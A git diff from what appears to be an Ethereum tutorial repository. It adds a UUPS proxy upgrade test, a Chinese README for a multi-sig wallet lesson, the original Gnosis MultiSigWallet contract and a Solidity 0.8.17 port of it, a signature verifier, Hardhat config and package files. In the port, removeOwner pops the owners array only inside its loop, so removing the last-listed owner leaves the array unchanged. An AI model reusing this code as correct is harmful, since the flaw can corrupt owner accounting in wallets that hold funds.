diff --git a/basic/24-upgradeable-contract/test/uupsProxyContract_test.js b/basic/24-upgradeable-contract/test/uupsProxyContract_test.js
new file mode 100644
index 000000000..b0ba133be
--- /dev/null
+++ b/basic/24-upgradeable-contract/test/uupsProxyContract_test.js
@@ -0,0 +1,28 @@
+
+// test/update-test.ts
+const { expect } = require('chai');
+const { ethers, upgrades } = require('hardhat');
+
+
+let myLogicV1;
+let myLogicV2;
+
+describe('uups mode upgrade', function () {
+  it('deploys', async function () {
+    const MyLogicV1 = await ethers.getContractFactory('MyLogicV1');
+      myLogicV1 = (await upgrades.deployProxy(MyLogicV1, {kind: 'uups'}));
+      console.log(myLogicV1.address);
+  })
+  it('myLogicV1 set', async function () {
+    await myLogicV1.SetLogic("aa", 1);
+    expect((await myLogicV1.GetLogic("aa")).toString()).to.equal('1');
+  })
+  it('upgrades', async function () {
+    const MyLogicV2 = await ethers.getContractFactory('MyLogicV2');
+      myLogicV2 = (await upgrades.upgradeProxy(myLogicV1, MyLogicV2));
+      console.log(myLogicV2.address);
+  })
+  it('myLogicV2 get', async function () {
+      expect((await myLogicV2.GetLogic("aa")).toString()).to.equal('101');
+  })
+})
\ No newline at end of file
diff --git a/basic/25-multi-sig-wallet/.env.example b/basic/25-multi-sig-wallet/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/25-multi-sig-wallet/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/25-multi-sig-wallet/README-CN.md b/basic/25-multi-sig-wallet/README-CN.md
new file mode 100644
index 000000000..4759fb576
--- /dev/null
+++ b/basic/25-multi-sig-wallet/README-CN.md
@@ -0,0 +1,127 @@
+中文 / [English](./README.md)
+# Multi-Sig-Wallet
+
+> 旧版多签钱包合约使用 0.4.x 版本 solidity，原仓库已经锁定不再更新，Gnosis 的新版多签名叫 Gnosis-Safe-Contracts 集成了多个安全合约模块。由于新版代码量较大不便于理解，我们仍使用旧版合来学习理解其使用流程和工作原理。
+
+- 旧版 multi-sig-wallet: gnosis MultiSigWallet: <https://github.com/gnosis/MultiSigWallet>
+- 新版 Gnosis Safe Contracts: <https://github.com/safe-global/safe-contracts>
+
+## 合约解读
+
+> 合约地址：https://github.com/gnosis/MultiSigWallet/tree/master/contracts
+
+- MultiSigWallet.sol
+- MultiSigWalletFactory.sol
+- MultiSigWalletWithDailyLimit.sol
+- MultiSigWalletWithDailyLimitFactory.sol
+- TestCalls.sol
+- TestToken.sol
+
+## 合约接口
+
+- 构造函数
+
+  初始化签名者列表，及每次交易至少需要签名数。
+
+- addOwner
+
+  追加签名者
+
+- replaceOwner
+
+  替换一个现有的签名者
+
+- changeRequirement
+
+  变更最低签名数
+
+- submitTransaction
+
+  提交一笔交易申请，参数为：合约地址、转账金额、交易 data
+
+- confirmTransaction
+
+  传入之前提交的交易的 id，确认这笔交易可执行，如果确认的人数已达到最低要求，则自动执行该交易
+
+- revokeConfirmation
+
+  取消确认一笔自己之前确认过的交易
+
+- executeTransaction
+
+  根据 id 执行对应的交易，前提是交易已得到足够的确认数
+
+- isConfirmed
+
+  判断一笔交易是否已得到足够的确认数
+
+- getConfirmationCount
+
+  获取一笔交易当前得到的确认数
+
+- getTransactionCount
+
+  查询交易数，两个入参分别是：是否包含处理中的交易、是否包含已处理的交易
+
+- getOwners
+
+  获取当前所有可确认交易者
+
+- getConfirmations
+
+  查看一笔交易已经得到哪些确认者的确认
+
+- getTransactionIds
+- 查询交易 id 列表，参数为：from、to、pending（是否包含处理中）、executed（是否包含已处理）
+
+## 操作流程
+
+- 安装依赖
+
+  ```sh
+  yarn
+  ```
+
+- 配置私钥和网络：
+
+在项目文件夹下新建`.env`文件，并且在 `.env` 文件中填写私钥和 infura 节点
+
+```js
+PRIVATE_KEY = xxxxxxxxxxxxxxxx; // 替换为你的私钥
+INFURA_ID = yyyyyyyy; // 替换为infura节点
+```
+
+- 编译合约
+
+  ```sh
+  npx hardhat compile
+  ```
+
+- 测试合约
+
+  ```sh
+  npx hardhat test
+  ```
+
+- 部署合约
+
+  ```sh
+  npx hardhat run scripts/deploy.js  --network goerli
+  ```
+
+## TODO
+
+- New Version Gnosis Safe Contracts: <https://github.com/safe-global/safe-contracts>
+
+gnosis safe - 4337
+https://docs.safe.global/advanced/erc-4337/4337-safe
+
+gnosis safe - 7702
+https://docs.safe.global/advanced/eip-7702/overview
+
+## 参考链接
+
+- [Now open source: friendly multi-signatures for Ethereum 🔑](https://medium.com/dsys/now-open-source-friendly-multi-signatures-for-ethereum-d75ca5a0dc5c)
+- gnosis 使用：<https://gnosis-safe.io/app/#/welcome>
+- gnosis 合约(Polygon)： <https://polygonscan.com/address/0xa6b71e26c5e0845f74c812102ca7114b6a896ab2#code>
+- 自己构造 gnosis 多签交易： <https://mp.weixin.qq.com/s/qgbTnchCHup24ANprGXH5Q>
diff --git a/basic/25-multi-sig-wallet/backup/MultiSigWallet.sol b/basic/25-multi-sig-wallet/backup/MultiSigWallet.sol
new file mode 100644
index 000000000..bcfc2b843
--- /dev/null
+++ b/basic/25-multi-sig-wallet/backup/MultiSigWallet.sol
@@ -0,0 +1,392 @@
+pragma solidity ^0.4.15;
+
+
+/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
+/// @author Stefan George - <stefan.george@consensys.net>
+contract MultiSigWallet {
+
+    /*
+     *  Events
+     */
+    event Confirmation(address indexed sender, uint indexed transactionId);
+    event Revocation(address indexed sender, uint indexed transactionId);
+    event Submission(uint indexed transactionId);
+    event Execution(uint indexed transactionId);
+    event ExecutionFailure(uint indexed transactionId);
+    event Deposit(address indexed sender, uint value);
+    event OwnerAddition(address indexed owner);
+    event OwnerRemoval(address indexed owner);
+    event RequirementChange(uint required);
+
+    /*
+     *  Constants
+     */
+    uint constant public MAX_OWNER_COUNT = 50;
+
+    /*
+     *  Storage
+     */
+    mapping (uint => Transaction) public transactions;
+    mapping (uint => mapping (address => bool)) public confirmations;
+    mapping (address => bool) public isOwner;
+    address[] public owners;
+    uint public required;
+    uint public transactionCount;
+
+    struct Transaction {
+        address destination;
+        uint value;
+        bytes data;
+        bool executed;
+    }
+
+    /*
+     *  Modifiers
+     */
+    modifier onlyWallet() {
+        require(msg.sender == address(this));
+        _;
+    }
+
+    modifier ownerDoesNotExist(address owner) {
+        require(!isOwner[owner]);
+        _;
+    }
+
+    modifier ownerExists(address owner) {
+        require(isOwner[owner]);
+        _;
+    }
+
+    modifier transactionExists(uint transactionId) {
+        require(transactions[transactionId].destination != 0);
+        _;
+    }
+
+    modifier confirmed(uint transactionId, address owner) {
+        require(confirmations[transactionId][owner]);
+        _;
+    }
+
+    modifier notConfirmed(uint transactionId, address owner) {
+        require(!confirmations[transactionId][owner]);
+        _;
+    }
+
+    modifier notExecuted(uint transactionId) {
+        require(!transactions[transactionId].executed);
+        _;
+    }
+
+    modifier notNull(address _address) {
+        require(_address != 0);
+        _;
+    }
+
+    modifier validRequirement(uint ownerCount, uint _required) {
+        require(ownerCount <= MAX_OWNER_COUNT
+        && _required <= ownerCount
+        && _required != 0
+        && ownerCount != 0);
+        _;
+    }
+
+    /// @dev Fallback function allows to deposit ether.
+    function() public
+    payable
+    {
+        if (msg.value > 0)
+            emit Deposit(msg.sender, msg.value);
+    }
+
+    /*
+     * Public functions
+     */
+    /// @dev Contract constructor sets initial owners and required number of confirmations.
+    /// @param _owners List of initial owners.
+    /// @param _required Number of required confirmations.
+    constructor(address[] _owners, uint _required)
+    public
+    validRequirement(_owners.length, _required)
+    {
+        for (uint i=0; i<_owners.length; i++) {
+            require(!isOwner[_owners[i]] && _owners[i] != 0);
+            isOwner[_owners[i]] = true;
+        }
+        owners = _owners;
+        required = _required;
+    }
+
+    /// @dev Allows to add a new owner. Transaction has to be sent by wallet.
+    /// @param owner Address of new owner.
+    function addOwner(address owner)
+    public
+    onlyWallet
+    ownerDoesNotExist(owner)
+    notNull(owner)
+    validRequirement(owners.length + 1, required)
+    {
+        isOwner[owner] = true;
+        owners.push(owner);
+        emit OwnerAddition(owner);
+    }
+
+    /// @dev Allows to remove an owner. Transaction has to be sent by wallet.
+    /// @param owner Address of owner.
+    function removeOwner(address owner)
+    public
+    onlyWallet
+    ownerExists(owner)
+    {
+        isOwner[owner] = false;
+        for (uint i=0; i<owners.length - 1; i++)
+            if (owners[i] == owner) {
+                owners[i] = owners[owners.length - 1];
+                break;
+            }
+        owners.length -= 1;
+        if (required > owners.length)
+            changeRequirement(owners.length);
+        emit OwnerRemoval(owner);
+    }
+
+    /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
+    /// @param owner Address of owner to be replaced.
+    /// @param newOwner Address of new owner.
+    function replaceOwner(address owner, address newOwner)
+    public
+    onlyWallet
+    ownerExists(owner)
+    ownerDoesNotExist(newOwner)
+    {
+        for (uint i=0; i<owners.length; i++)
+            if (owners[i] == owner) {
+                owners[i] = newOwner;
+                break;
+            }
+        isOwner[owner] = false;
+        isOwner[newOwner] = true;
+        emit OwnerRemoval(owner);
+        emit OwnerAddition(newOwner);
+    }
+
+    /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
+    /// @param _required Number of required confirmations.
+    function changeRequirement(uint _required)
+    public
+    onlyWallet
+    validRequirement(owners.length, _required)
+    {
+        required = _required;
+        emit RequirementChange(_required);
+    }
+
+    /// @dev Allows an owner to submit and confirm a transaction.
+    /// @param destination Transaction target address.
+    /// @param value Transaction ether value.
+    /// @param data Transaction data payload.
+    /// @return Returns transaction ID.
+    function submitTransaction(address destination, uint value, bytes data)
+    public
+    returns (uint transactionId)
+    {
+        transactionId = addTransaction(destination, value, data);
+        confirmTransaction(transactionId);
+    }
+
+    /// @dev Allows an owner to confirm a transaction.
+    /// @param transactionId Transaction ID.
+    function confirmTransaction(uint transactionId)
+    public
+    ownerExists(msg.sender)
+    transactionExists(transactionId)
+    notConfirmed(transactionId, msg.sender)
+    {
+        confirmations[transactionId][msg.sender] = true;
+        emit Confirmation(msg.sender, transactionId);
+        executeTransaction(transactionId);
+    }
+
+    /// @dev Allows an owner to revoke a confirmation for a transaction.
+    /// @param transactionId Transaction ID.
+    function revokeConfirmation(uint transactionId)
+    public
+    ownerExists(msg.sender)
+    confirmed(transactionId, msg.sender)
+    notExecuted(transactionId)
+    {
+        confirmations[transactionId][msg.sender] = false;
+        emit Revocation(msg.sender, transactionId);
+    }
+
+    /// @dev Allows anyone to execute a confirmed transaction.
+    /// @param transactionId Transaction ID.
+    function executeTransaction(uint transactionId)
+    public
+    ownerExists(msg.sender)
+    confirmed(transactionId, msg.sender)
+    notExecuted(transactionId)
+    {
+        if (isConfirmed(transactionId)) {
+            Transaction storage txn = transactions[transactionId];
+            txn.executed = true;
+            if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
+                emit Execution(transactionId);
+            else {
+                emit ExecutionFailure(transactionId);
+                txn.executed = false;
+            }
+        }
+    }
+
+    // call has been separated into its own function in order to take advantage
+    // of the Solidity's code generator to produce a loop that copies tx.data into memory.
+    function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
+        bool result;
+        assembly {
+            let x := mload(0x40)   // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
+            let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
+            result := call(
+            sub(gas, 34710),   // 34710 is the value that solidity is currently emitting
+            // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
+            // callNewAccountGas (25000, in case the destination address does not exist and needs creating)
+            destination,
+            value,
+            d,
+            dataLength,        // Size of the input (in bytes) - this is what fixes the padding problem
+            x,
+            0                  // Output is ignored, therefore the output size is zero
+            )
+        }
+        return result;
+    }
+
+    /// @dev Returns the confirmation status of a transaction.
+    /// @param transactionId Transaction ID.
+    /// @return Confirmation status.
+    function isConfirmed(uint transactionId)
+    public
+    constant
+    returns (bool)
+    {
+        uint count = 0;
+        for (uint i=0; i<owners.length; i++) {
+            if (confirmations[transactionId][owners[i]])
+                count += 1;
+            if (count == required)
+                return true;
+        }
+    }
+
+    /*
+     * Internal functions
+     */
+    /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
+    /// @param destination Transaction target address.
+    /// @param value Transaction ether value.
+    /// @param data Transaction data payload.
+    /// @return Returns transaction ID.
+    function addTransaction(address destination, uint value, bytes data)
+    internal
+    notNull(destination)
+    returns (uint transactionId)
+    {
+        transactionId = transactionCount;
+        transactions[transactionId] = Transaction({
+            destination: destination,
+            value: value,
+            data: data,
+            executed: false
+            });
+        transactionCount += 1;
+        emit Submission(transactionId);
+    }
+
+    /*
+     * Web3 call functions
+     */
+    /// @dev Returns number of confirmations of a transaction.
+    /// @param transactionId Transaction ID.
+    /// @return Number of confirmations.
+    function getConfirmationCount(uint transactionId)
+    public
+    constant
+    returns (uint count)
+    {
+        for (uint i=0; i<owners.length; i++)
+            if (confirmations[transactionId][owners[i]])
+                count += 1;
+    }
+
+    /// @dev Returns total number of transactions after filers are applied.
+    /// @param pending Include pending transactions.
+    /// @param executed Include executed transactions.
+    /// @return Total number of transactions after filters are applied.
+    function getTransactionCount(bool pending, bool executed)
+    public
+    constant
+    returns (uint count)
+    {
+        for (uint i=0; i<transactionCount; i++)
+            if (   pending && !transactions[i].executed
+            || executed && transactions[i].executed)
+                count += 1;
+    }
+
+    /// @dev Returns list of owners.
+    /// @return List of owner addresses.
+    function getOwners()
+    public
+    constant
+    returns (address[])
+    {
+        return owners;
+    }
+
+    /// @dev Returns array with owner addresses, which confirmed transaction.
+    /// @param transactionId Transaction ID.
+    /// @return Returns array of owner addresses.
+    function getConfirmations(uint transactionId)
+    public
+    constant
+    returns (address[] _confirmations)
+    {
+        address[] memory confirmationsTemp = new address[](owners.length);
+        uint count = 0;
+        uint i;
+        for (i=0; i<owners.length; i++)
+            if (confirmations[transactionId][owners[i]]) {
+                confirmationsTemp[count] = owners[i];
+                count += 1;
+            }
+        _confirmations = new address[](count);
+        for (i=0; i<count; i++)
+            _confirmations[i] = confirmationsTemp[i];
+    }
+
+    /// @dev Returns list of transaction IDs in defined range.
+    /// @param from Index start position of transaction array.
+    /// @param to Index end position of transaction array.
+    /// @param pending Include pending transactions.
+    /// @param executed Include executed transactions.
+    /// @return Returns array of transaction IDs.
+    function getTransactionIds(uint from, uint to, bool pending, bool executed)
+    public
+    constant
+    returns (uint[] _transactionIds)
+    {
+        uint[] memory transactionIdsTemp = new uint[](transactionCount);
+        uint count = 0;
+        uint i;
+        for (i=0; i<transactionCount; i++)
+            if (   pending && !transactions[i].executed
+            || executed && transactions[i].executed)
+            {
+                transactionIdsTemp[count] = i;
+                count += 1;
+            }
+        _transactionIds = new uint[](to - from);
+        for (i=from; i<to; i++)
+            _transactionIds[i - from] = transactionIdsTemp[i];
+    }
+}
\ No newline at end of file
diff --git a/basic/25-multi-sig-wallet/contracts/Hello.sol b/basic/25-multi-sig-wallet/contracts/Hello.sol
new file mode 100644
index 000000000..be67e1456
--- /dev/null
+++ b/basic/25-multi-sig-wallet/contracts/Hello.sol
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.17;
+
+contract Hello {
+    uint256 public balance;
+
+    function set(uint256 _newbalance) public {
+        balance = _newbalance;
+    }
+
+    function get() public view returns (uint256){
+        return balance;
+    }
+}
diff --git a/basic/25-multi-sig-wallet/contracts/MultiSigWallet.sol b/basic/25-multi-sig-wallet/contracts/MultiSigWallet.sol
new file mode 100644
index 000000000..ac222055d
--- /dev/null
+++ b/basic/25-multi-sig-wallet/contracts/MultiSigWallet.sol
@@ -0,0 +1,396 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.17;
+
+
+/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
+/// @author Stefan George - <stefan.george@consensys.net>
+contract MultiSigWallet {
+
+    /*
+     *  Events
+     */
+    event Confirmation(address indexed sender, uint indexed transactionId);
+    event Revocation(address indexed sender, uint indexed transactionId);
+    event Submission(uint indexed transactionId);
+    event Execution(uint indexed transactionId);
+    event ExecutionFailure(uint indexed transactionId);
+    event Deposit(address indexed sender, uint value);
+    event OwnerAddition(address indexed owner);
+    event OwnerRemoval(address indexed owner);
+    event RequirementChange(uint required);
+
+    /*
+     *  Constants
+     */
+    uint public MAX_OWNER_COUNT = 50;
+
+    /*
+     *  Storage
+     */
+    mapping (uint => Transaction) public transactions;
+    mapping (uint => mapping (address => bool)) public confirmations;
+    mapping (address => bool) public isOwner;
+    address[] public owners;
+    uint public required;
+    uint public transactionCount;
+
+    struct Transaction {
+        address destination;
+        uint value;
+        bytes data;
+        bool executed;
+    }
+
+    /*
+     *  Modifiers
+     */
+    modifier onlyWallet() {
+        require(msg.sender == address(this));
+        _;
+    }
+
+    modifier ownerDoesNotExist(address owner) {
+        require(!isOwner[owner]);
+        _;
+    }
+
+    modifier ownerExists(address owner) {
+        require(isOwner[owner]);
+        _;
+    }
+
+    modifier transactionExists(uint transactionId) {
+        require(transactions[transactionId].destination != address(0));
+        _;
+    }
+
+    modifier confirmed(uint transactionId, address owner) {
+        require(confirmations[transactionId][owner]);
+        _;
+    }
+
+    modifier notConfirmed(uint transactionId, address owner) {
+        require(!confirmations[transactionId][owner]);
+        _;
+    }
+
+    modifier notExecuted(uint transactionId) {
+        require(!transactions[transactionId].executed);
+        _;
+    }
+
+    modifier notNull(address _address) {
+        require(_address != address(0));
+        _;
+    }
+
+    modifier validRequirement(uint ownerCount, uint _required) {
+        require(ownerCount <= MAX_OWNER_COUNT
+        && _required <= ownerCount
+        && _required != 0
+            && ownerCount != 0);
+        _;
+    }
+
+    /// @dev Fallback function allows to deposit ether.
+    receive() external
+    payable
+    {
+        if (msg.value > 0)
+            emit Deposit(msg.sender, msg.value);
+    }
+
+    fallback()external {}
+
+    /*
+     * Public functions
+     */
+    /// @dev Contract constructor sets initial owners and required number of confirmations.
+    /// @param _owners List of initial owners.
+    /// @param _required Number of required confirmations.
+    constructor(address[] memory _owners, uint _required)
+    validRequirement(_owners.length, _required)
+    {
+        for (uint i=0; i<_owners.length; i++) {
+            require(!isOwner[_owners[i]] && _owners[i] != address(0));
+            isOwner[_owners[i]] = true;
+        }
+        owners = _owners;
+        required = _required;
+    }
+
+    /// @dev Allows to add a new owner. Transaction has to be sent by wallet.
+    /// @param owner Address of new owner.
+    function addOwner(address owner)
+    public
+    onlyWallet
+    ownerDoesNotExist(owner)
+    notNull(owner)
+    validRequirement(owners.length + 1, required)
+    {
+        isOwner[owner] = true;
+        owners.push(owner);
+        emit OwnerAddition(owner);
+    }
+
+    /// @dev Allows to remove an owner. Transaction has to be sent by wallet.
+    /// @param owner Address of owner.
+    function removeOwner(address owner)
+    public
+    onlyWallet
+    ownerExists(owner)
+    {
+        isOwner[owner] = false;
+        for (uint i=0; i<owners.length - 1; i++)
+            if (owners[i] == owner) {
+                owners[i] = owners[owners.length - 1];
+                owners.pop();
+                break;
+            }
+        if (required > owners.length)
+            changeRequirement(owners.length);
+        emit OwnerRemoval(owner);
+    }
+
+    /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
+    /// @param owner Address of owner to be replaced.
+    /// @param newOwner Address of new owner.
+    function replaceOwner(address owner, address newOwner)
+    public
+    onlyWallet
+    ownerExists(owner)
+    ownerDoesNotExist(newOwner)
+    {
+        for (uint i=0; i<owners.length; i++)
+            if (owners[i] == owner) {
+                owners[i] = newOwner;
+                break;
+            }
+        isOwner[owner] = false;
+        isOwner[newOwner] = true;
+        emit OwnerRemoval(owner);
+        emit OwnerAddition(newOwner);
+    }
+
+    /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
+    /// @param _required Number of required confirmations.
+    function changeRequirement(uint _required)
+    public
+    onlyWallet
+    validRequirement(owners.length, _required)
+    {
+        required = _required;
+        emit RequirementChange(_required);
+    }
+
+    /// @dev Allows an owner to submit and confirm a transaction.
+    /// @param destination Transaction target address.
+    /// @param value Transaction ether value.
+    /// @param data Transaction data payload.
+    /// @return transactionId transaction ID.
+    function submitTransaction(address destination, uint value, bytes memory data)
+    public
+    returns (uint transactionId)
+    {
+        transactionId = addTransaction(destination, value, data);
+        confirmTransaction(transactionId);
+    }
+
+    /// @dev Allows an owner to confirm a transaction.
+    /// @param transactionId Transaction ID.
+    function confirmTransaction(uint transactionId)
+    public
+    ownerExists(msg.sender)
+    transactionExists(transactionId)
+    notConfirmed(transactionId, msg.sender)
+    {
+        confirmations[transactionId][msg.sender] = true;
+        emit Confirmation(msg.sender, transactionId);
+        executeTransaction(transactionId);
+    }
+
+    /// @dev Allows an owner to revoke a confirmation for a transaction.
+    /// @param transactionId Transaction ID.
+    function revokeConfirmation(uint transactionId)
+    public
+    ownerExists(msg.sender)
+    confirmed(transactionId, msg.sender)
+    notExecuted(transactionId)
+    {
+        confirmations[transactionId][msg.sender] = false;
+        emit Revocation(msg.sender, transactionId);
+    }
+
+    /// @dev Allows anyone to execute a confirmed transaction.
+    /// @param transactionId Transaction ID.
+    function executeTransaction(uint transactionId)
+    public
+    ownerExists(msg.sender)
+    confirmed(transactionId, msg.sender)
+    notExecuted(transactionId)
+    {
+        if (isConfirmed(transactionId)) {
+            Transaction storage txn = transactions[transactionId];
+            txn.executed = true;
+            if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) {
+                emit Execution(transactionId);
+            } else {
+                emit ExecutionFailure(transactionId);
+                txn.executed = false;
+            }
+        }
+    }
+
+    // call has been separated into its own function in order to take advantage
+    // of the Solidity's code generator to produce a loop that copies tx.data into memory.
+    function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool result) {
+        assembly {
+            let x := mload(0x40)   // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
+            let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
+            result := call(
+            gas(),   // 34710 is the value that solidity is currently emitting
+            // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
+            // callNewAccountGas (25000, in case the destination address does not exist and needs creating)
+            destination,
+            value,
+            d,
+            dataLength,        // Size of the input (in bytes) - this is what fixes the padding problem
+            x,
+            0                  // Output is ignored, therefore the output size is zero
+            )
+        }
+    }
+
+    /// @dev Returns the confirmation status of a transaction.
+    /// @param transactionId Transaction ID.
+    /// @return result Confirmation status.
+    function isConfirmed(uint transactionId)
+    public
+    view
+    returns (bool result)
+    {
+        uint count = 0;
+        result = false;
+        for (uint i=0; i<owners.length; i++) {
+            if (confirmations[transactionId][owners[i]]) {
+                count += 1;
+            }
+            if (count == required) {
+                result = true;
+                break;
+            }
+        }
+    }
+
+    /*
+     * Internal functions
+     */
+    /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
+    /// @param destination Transaction target address.
+    /// @param value Transaction ether value.
+    /// @param data Transaction data payload.
+    /// @return transactionId Returns transaction ID.
+    function addTransaction(address destination, uint value, bytes memory data)
+    internal
+    notNull(destination)
+    returns (uint transactionId)
+    {
+        transactionId = transactionCount;
+        transactions[transactionId] = Transaction({
+        destination: destination,
+        value: value,
+        data: data,
+        executed: false
+        });
+        transactionCount += 1;
+        emit Submission(transactionId);
+    }
+
+    /*
+     * Web3 call functions
+     */
+    /// @dev Returns number of confirmations of a transaction.
+    /// @param transactionId Transaction ID.
+    /// @return count Number of confirmations.
+    function getConfirmationCount(uint transactionId)
+    public
+    view
+    returns (uint count)
+    {
+        for (uint i=0; i<owners.length; i++)
+            if (confirmations[transactionId][owners[i]])
+                count += 1;
+    }
+
+    /// @dev Returns total number of transactions after filers are applied.
+    /// @param pending Include pending transactions.
+    /// @param executed Include executed transactions.
+    /// @return count Total number of transactions after filters are applied.
+    function getTransactionCount(bool pending, bool executed)
+    public
+    view
+    returns (uint count)
+    {
+        for (uint i=0; i<transactionCount; i++)
+            if (   pending && !transactions[i].executed
+            || executed && transactions[i].executed)
+                count += 1;
+    }
+
+    /// @dev Returns list of owners.
+    /// @return List of owner addresses.
+    function getOwners()
+    public
+    view
+    returns (address[] memory)
+    {
+        return owners;
+    }
+
+    /// @dev Returns array with owner addresses, which confirmed transaction.
+    /// @param transactionId Transaction ID.
+    /// @return _confirmations Returns array of owner addresses.
+    function getConfirmations(uint transactionId)
+    public
+    view
+    returns (address[] memory _confirmations)
+    {
+        address[] memory confirmationsTemp = new address[](owners.length);
+        uint count = 0;
+        uint i;
+        for (i=0; i<owners.length; i++)
+            if (confirmations[transactionId][owners[i]]) {
+                confirmationsTemp[count] = owners[i];
+                count += 1;
+            }
+        _confirmations = new address[](count);
+        for (i=0; i<count; i++)
+            _confirmations[i] = confirmationsTemp[i];
+    }
+
+    /// @dev Returns list of transaction IDs in defined range.
+    /// @param from Index start position of transaction array.
+    /// @param to Index end position of transaction array.
+    /// @param pending Include pending transactions.
+    /// @param executed Include executed transactions.
+    /// @return _transactionIds Returns array of transaction IDs.
+    function getTransactionIds(uint from, uint to, bool pending, bool executed)
+    public
+    view
+    returns (uint[] memory _transactionIds)
+    {
+        uint[] memory transactionIdsTemp = new uint[](transactionCount);
+        uint count = 0;
+        uint i;
+        for (i=0; i<transactionCount; i++)
+            if (   pending && !transactions[i].executed
+            || executed && transactions[i].executed)
+            {
+                transactionIdsTemp[count] = i;
+                count += 1;
+            }
+        _transactionIds = new uint[](to - from);
+        for (i=from; i<to; i++)
+            _transactionIds[i - from] = transactionIdsTemp[i];
+    }
+}
diff --git a/basic/25-multi-sig-wallet/contracts/Verifier.sol b/basic/25-multi-sig-wallet/contracts/Verifier.sol
new file mode 100644
index 000000000..8c8f5a743
--- /dev/null
+++ b/basic/25-multi-sig-wallet/contracts/Verifier.sol
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.17;
+
+contract Verifier {
+    function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
+        public pure returns (address)
+    {
+        (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
+        bytes memory prefix = "\x19Ethereum Signed Message:\n32";
+        bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _ethSignedMessageHash));
+
+        return ecrecover(prefixedHash, v, r, s);
+    }
+
+    function splitSignature(bytes memory sig)
+        public pure returns (bytes32 r, bytes32 s, uint8 v)
+    {
+        require(sig.length == 65, "invalid signature length");
+
+        assembly {
+            /*
+            First 32 bytes stores the length of the signature
+
+            add(sig, 32) = pointer of sig + 32
+            effectively, skips first 32 bytes of signature
+
+            mload(p) loads next 32 bytes starting at the memory address p into memory
+            */
+
+            // first 32 bytes, after the length prefix
+            r := mload(add(sig, 32))
+            // second 32 bytes
+            s := mload(add(sig, 64))
+            // final byte (first byte of the next 32 bytes)
+            v := byte(0, mload(add(sig, 96)))
+        }
+
+        // implicitly return (r, s, v)
+    }
+}
diff --git a/basic/25-multi-sig-wallet/hardhat.config.js b/basic/25-multi-sig-wallet/hardhat.config.js
new file mode 100644
index 000000000..a75818a8c
--- /dev/null
+++ b/basic/25-multi-sig-wallet/hardhat.config.js
@@ -0,0 +1,61 @@
+require("@nomiclabs/hardhat-waffle");
+const fs = require("fs");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+ 
+ }
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.17",
+        settings: {}
+      },
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    goerli: {
+      url: "https://goerli.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
diff --git a/basic/25-multi-sig-wallet/package.json b/basic/25-multi-sig-wallet/package.json
new file mode 100644
index 000000000..3dc735401
--- /dev/null
+++ b/basic/25-multi-sig-wallet/package.json
@@ -0,0 +1,20 @@
+{
+  "name": "gnosis-safe",
+  "version": "1.0.0",
+  "main": "index.js",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.2.2",
+    "@nomiclabs/hardhat-waffle": "^2.0.3",
+    "chai": "^4.3.7",
+    "dotenv": "^16.0.3",
+    "ethereum-waffle": "^4.0.9",
+    "ethers": "^5.7.2",
+    "hardhat": "^2.12.6"
+  }
+}
diff --git a/basic/25-multi-sig-wallet/readme.md b/basic/25-multi-sig-wallet/readme.md
new file mode 100644
index 000000000..db076982a
--- /dev/null
+++ b/basic/25-multi-sig-wallet/readme.md
@@ -0,0 +1,114 @@
+[中文](./README-CN.md) / English
+
+# Multi-Sig-Wallet
+
